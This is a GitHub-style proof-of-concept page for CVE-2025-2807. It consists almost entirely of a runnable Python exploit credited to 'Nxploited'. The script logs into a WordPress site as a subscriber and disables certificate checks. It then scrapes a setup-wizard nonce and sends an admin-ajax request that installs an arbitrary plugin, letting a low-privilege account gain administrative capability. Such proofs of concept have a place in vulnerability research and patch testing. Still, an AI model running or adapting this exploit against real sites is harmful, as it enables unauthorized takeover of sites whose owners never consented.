4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-2807.py PY
import requests
import argparse
import re
from bs4 import BeautifulSoup
from urllib.parse import urljoin

#Exploit By : Nxploited | Khaled Alenazi,

def disable_ssl_verification():
    requests.packages.urllib3.disable_warnings()

def create_argument_parser():
    parser = argparse.ArgumentParser(
        description="Exploit For CVE-2025-2807 By: Nxploited | Khaled Alenazi"
    )
    parser.add_argument('-u', '--url', required=True, help='Base URL of WordPress site')
    parser.add_argument('-un', '--username', required=True, help='Subscriber username')
    parser.add_argument('-p', '--password', required=True, help='Subscriber password')
    parser.add_argument('-pn', '--plugin', default='contact-form-7', help='Plugin to install (default: contact-form-7)')
    return parser.parse_args()

def create_session():
    session = requests.Session()
    session.verify = False
    return session

def get_headers():
    return {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
    }

def login(session, url, username, password, headers):
    print("[*] Logging in...")
    login_url = url + '/wp-login.php'
    login_data = {
        'log': username,
        'pwd': password,
        'rememberme': 'forever',
        'wp-submit': 'Log In'
    }
    response = session.post(login_url, data=login_data, headers=headers)
    if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
        print("[+] Logged in successfully.")
    else:
        print("[-] Failed to log in.")
        exit()

def fetch_setup_page(session, url, headers):
    print("[*] Fetching setup wizard page...")
    wizard_url = url + '/wp-admin/admin.php?page=mvl-welcome-setup'
    return session.get(wizard_url, headers=headers)

def extract_nonce_from_html(text):
    patterns = [
        r'"stm_mvl_setup_wizard_nonce"\s*:\s*"([a-zA-Z0-9]+)"',
        r'ajax_nonce"\s*:\s*"([a-zA-Z0-9]+)"',
        r'["\']security["\']\s*:\s*["\']([a-zA-Z0-9]+)["\']'
    ]
    for pattern in patterns:
        match = re.search(pattern, text)
        if match:
            print(f"[+] Found nonce in HTML: {match.group(1)}")
            return match.group(1)
    return None

def extract_nonce_from_js(session, url, soup, headers):
    print("[*] Searching for nonce in JS files...")
    patterns = [
        r'"stm_mvl_setup_wizard_nonce"\s*:\s*"([a-zA-Z0-9]+)"',
        r'ajax_nonce"\s*:\s*"([a-zA-Z0-9]+)"',
        r'["\']security["\']\s*:\s*["\']([a-zA-Z0-9]+)["\']'
    ]
    scripts = soup.find_all('script', src=True)
    for script in scripts:
        js_url = urljoin(url, script['src'])
        try:
            js_res = session.get(js_url, headers=headers)
            for pattern in patterns:
                js_match = re.search(pattern, js_res.text)
                if js_match:
                    print(f"[+] Found nonce in JS file ({script['src']}): {js_match.group(1)}")
                    return js_match.group(1)
        except:
            continue
    return None

def exploit_plugin_install(session, url, headers, nonce, plugin_name):
    print(f"[*] Attempting to install plugin: {plugin_name}")
    ajax_url = url + '/wp-admin/admin-ajax.php'
    data = {
        'action': 'mvl_setup_wizard_install_plugin',
        'security': nonce,
        'plugin': plugin_name
    }
    response = session.post(ajax_url, data=data, headers=headers)
    if 'success' in response.text:
        print("[+] Plugin installation request sent successfully!")
        print("[+] Response:", response.text)
    else:
        print("[-] Exploit request failed.")
        print("[-] Response:", response.text)

def main():
    disable_ssl_verification()
    args = create_argument_parser()
    session = create_session()
    headers = get_headers()
    login(session, args.url, args.username, args.password, headers)
    res = fetch_setup_page(session, args.url, headers)
    soup = BeautifulSoup(res.text, 'html.parser')

    nonce = extract_nonce_from_html(res.text)
    if not nonce:
        nonce = extract_nonce_from_js(session, args.url, soup, headers)

    if not nonce:
        print("[-] Failed to retrieve nonce from HTML or JS.")
        exit()

    exploit_plugin_install(session, args.url, headers, nonce, args.plugin)

if __name__ == "__main__":
    main()